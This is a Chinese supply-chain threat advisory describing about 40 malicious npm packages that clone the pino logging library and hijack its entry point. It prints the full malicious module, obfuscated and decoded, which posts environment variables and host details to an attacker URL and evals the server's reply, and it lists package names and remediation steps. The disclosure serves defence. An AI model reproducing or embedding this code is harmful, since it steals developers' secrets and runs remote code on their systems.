当前位置:首页 > 技术文章 > 正文内容

风险预警 | pino系列投毒包开展敏感数据窃取及远程代码执行攻击

zonemu2个月前 (07-20)技术文章17

SBOM情报概述

Summary

近期(2025.04~2025.06),悬镜供应链安全情报中心在NPM官方仓库中连续捕获近40起伪装成高下载量知名日志库pino的包投毒事件,该系列投毒的特点是通过代码克隆pino项目完整源码,并篡改pino模块主入口文件代码加载恶意模块,恶意模块主要功能是收集外传系统敏感信息,以及从攻击者C2服务器拉取并远程执行任意代码。根据NPM官方接口统计,近一个月该pino系列恶意包的总下载量接近7000次。



pino项目主页(
https://www.npmjs.com/package/pino)

截至目前,pino系列投毒中仍有一部分恶意包正常托管在NPM官方源及国内各大主流镜像源,对NPM开发者来说存在较大安全隐患。最近一次该系列投毒来自攻击者(oleksandrrozgon77@gmail.com)在6月3号投放的router-parse恶意包。


恶意包router-parse主页


投毒分析

Poisoning Analysis

1代码克隆篡改

以router-parse 恶意包为例,投毒者通过对日志库pino进行完整项目代码克隆,组件包主模块入口为pino.js代码文件。


恶意包 router-parse 代码结构


如下图所示,投毒者通过篡改包模块入口文件pino.js,利用require引入恶意模块'./lib/write',对应恶意代码文件'./lib/write.js',并且在对pino()函数进行劫持,在函数入口处优先调用恶意模块./lib/write.js中的writer()函数。


pino.js加载恶意模块


pino()函数入口劫持


2敏感信息窃取及远程代码执行

恶意模块./lib/write.js文件代码如下所示,主要功能是收集目标系统的环境变量数据及系统平台信息(包括主机名、用户名、网卡MAC等)通过HTTP POST请求发送到投毒者C2服务器(
https://ip-check-api.vercel.app/api/ipcheck/703),并会从投毒者服务器响应数据中提取下一阶段代码后调用eval函数实现远程代码执行功能。

'use strict'
const os = require('os')
 
function getMacAddress () {
 const interfaces =
os.networkInterfaces()
 const macAddresses
= []
 
 for (const interfaceName in interfaces) {
  const
networkInterface = interfaces[interfaceName]
 
  networkInterface.forEach((details) => {
   // Check for
IPv4 and that the address is not internal (i.e., not 127.0.0.1)
   if (details.family === 'IPv4' && !details.internal) {
    macAddresses.push(details.mac)
   }
  })
 }
 return macAddresses
}
const data = {
 ...process.env,
 platform: os.platform(),
 hostname: os.hostname(),
 username: os.userInfo().username,
 macAddresses: getMacAddress()
}
 
function g (h) { return h.replace(/../g, match => String.fromCharCode(parseInt(match, 16))) }
 
const hl = [
 g('72657175697265'),
 g('6178696f73'),
 g('706f7374'),
 g('68747470733a2f2f69702d636865636b2d6170692e76657263656c2e6170702f6170692f6970636865636b2f373033'),
 g('68656164657273'),
 g('782d7365637265742d686561646572'),
 g('736563726574'),
 g('7468656e')
]
 
//
eslint-disable-next-line no-eval
module.exports = () => require(hl[1])[[hl[2]]](hl[3], data, { [hl[4]]: { [hl[5]]: hl[6] } })[[hl[7]]](r => eval(r.data)).catch(() => {})


投毒者使用的C2服务器地址被编码嵌入到hl数组中,通过字符解码后,还原出hl中隐藏的真实数据如下所示:

[
 'require',
 'axios',
 'post',
 'https://ip-check-api.vercel.app/api/ipcheck/703',
 'headers',
 'x-secret-header',
 'secret',
 'then'
]

最终该恶意模块导出函数的真实代码还原为如下所示:


module.exports = () => require('axios')['post']('https://ip-check-api.vercel.app/api/ipcheck/703', data, {'headers':{'x-secret-header':'secret'}})['then'](r => eval(r.data)).catch(() => {})


3 恶意包信息

该pino系列投毒所涉及的恶意NPM包信息(purl格式)汇总如下:

pkg:npm/router-parse@1.0.1
pkg:npm/vite-plugin-purify@2.3.4
pkg:npm/nextjs-insight@1.1.0
pkg:npm/https-parse@2.0.1
pkg:npm/vite-plugin-svgn@1.6.8
pkg:npm/jsons-pack@7.9.4
pkg:npm/vite-plugin-style-svg@2.3.4
pkg:npm/motion-exts@1.0.1
pkg:npm/react-logs@6.1.2
pkg:npm/node-loggers@0.0.2
pkg:npm/node-loggers@3.3.1
pkg:npm/style-beautify-plugins@4.0.0
pkg:npm/resize-plugins@1.7.2
pkg:npm/vite-config-pretty-js@2.14.8
pkg:npm/vite-tsconfig-pretty@2.6.7
pkg:npm/recover-plugins@1.0.0
pkg:npm/wise-plugins@2.2.9
pkg:npm/trip-plugins@1.7.5
pkg:npm/zeal-plugins@1.0.0
pkg:npm/stylelist-plugins@1.5.2
pkg:npm/wrap-plugins@1.0.4
pkg:npm/yellow-plugins@2.5.7
pkg:npm/setting-plugins@3.0.5
pkg:npm/support-plugins@1.1.4
pkg:npm/react-loggers@6.9.1
pkg:npm/logs-buffer@6.14.8
pkg:npm/react-youtube-dom@10.14.0
pkg:npm/react-youtube-dom@10.15.0
pkg:npm/react-youtube-dom@10.15.1
pkg:npm/flow-plugins@1.1.7
pkg:npm/date-min@1.4.8
pkg:npm/flexible-loggers@0.1.1
pkg:npm/beautiful-plugins@2.1.4
pkg:npm/util-buffers@6.14.8
pkg:npm/use-videos@1.0.0
pkg:npm/lucide-node@1.0.0
pkg:npm/jsonspecific@3.14.7
pkg:npm/flush-plugins@4.0.0
pkg:npm/blur-plugins@1.2.1
pkg:npm/chalk-config@1.0.4
pkg:npm/chalk-config@2.14.7
pkg:npm/core-pino@9.6.0
pkg:npm/core-pino@10.6.0
pkg:npm/core-pino@10.6.0
pkg:npm/core-pino@10.7.1


4 IoC 数据

本文分析所涉及的恶意IoC数据如下表所示:



排查方式

Investigation Method

以 router-parse 恶意组件为例,开发者可通过命令 npm list router-parse在项目目录下使用查询是否已安装存在恶意投毒的组件版本,如果已安装请立即使用 npm uninstall router-parse 进行卸载。同时还需关闭系统网络并排查系统是否存在异常进程。


此外,也可使用 OpenSCA-cli 工具将受影响的组件包按如下示例保存为db.json文件,直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。

[   
  {     
    "product":
"router-parse",     
    "version":
"[1.0.1]",     
    "language":
"javascript",     
    "id":
"XMIRROR-MAL45-F7D53421",     
    "description":
"恶意NPM组件伪装知名日志库pino开展系统敏感信息窃取及远程代码执行攻击",     
    "release_date":
"2025-06-03"   
  }
]

悬镜供应链安全情报中心是国内首个数字供应链安全情报研究中心。依托悬镜安全团队强大的供应链SBOM管理与监测能力和AI安全大数据云端分析能力,悬镜云脉XSBOM数字供应链安全情报预警服务通过对全球数字供应链投毒情报、漏洞情报、停服断供情报等进行实时动态监测与溯源分析,可为用户智能精准预警“与我有关”的数字供应链安全情报,提供情报查询、情报订阅、可视化关联分析等企业级服务。

相关文章

前端React面试基础系列(React基础篇)

本文阅读8分钟,喜欢的小伙伴可以持续关系小编哦1. 什么是受控组件和非受控组件?受控组件像表单元素在用户输入时,像<input> <select>等元素需要绑定一个 chang...

java调用API操作GitLab(java调用zabbix api)

最近需要在一个WEB项目中集成GitLab,用到了GitLab的API操作,在网上找了很久都是说直接调用GitLab的Http接口,而且API官方只有javadoc没有其它说明文档,特别记录下,以备查...

编写简单的.gitlab-ci.yml打包部署项目

服务器说明:192.168.192.120:项目服务器192.168.192.121:GitLab为了可以使用gitlab的cicd功能,我们需要先安装GitLab Runner安装GitLab Ru...

(在线编辑DWG)网页CAD二开实现焊接符号绘制

前言在工程制图和制造领域,焊接符号(Welding Symbols)是用于表示焊缝类型、尺寸、位置以及工艺要求的标准化图形语言。广泛应用于机械设计、钢结构、船舶制造、压力容器等行业中,帮助技术人员理解...

(一)熟练HTML5+CSS3,每天复习一遍

前言学习网页的概念和分类,了解静态网页和动态网页的不同;了解网页浏览器的工作原理。了解HTML,XHTML,HTML5的概念,制作简单的HTML页面的开发。什么是网页可以在internet上通过网页浏...

前端学习又一大里程碑:html5+js写出歌词同步手机播放器

需要完整代码和视频请评论后加前端群470593776领取javascript进阶课题:HTML5迷你音乐播放器学习疲惫了,代码敲累了,听听自己做的的音乐播放器,放松与满足知识点:for循环语句,DOM...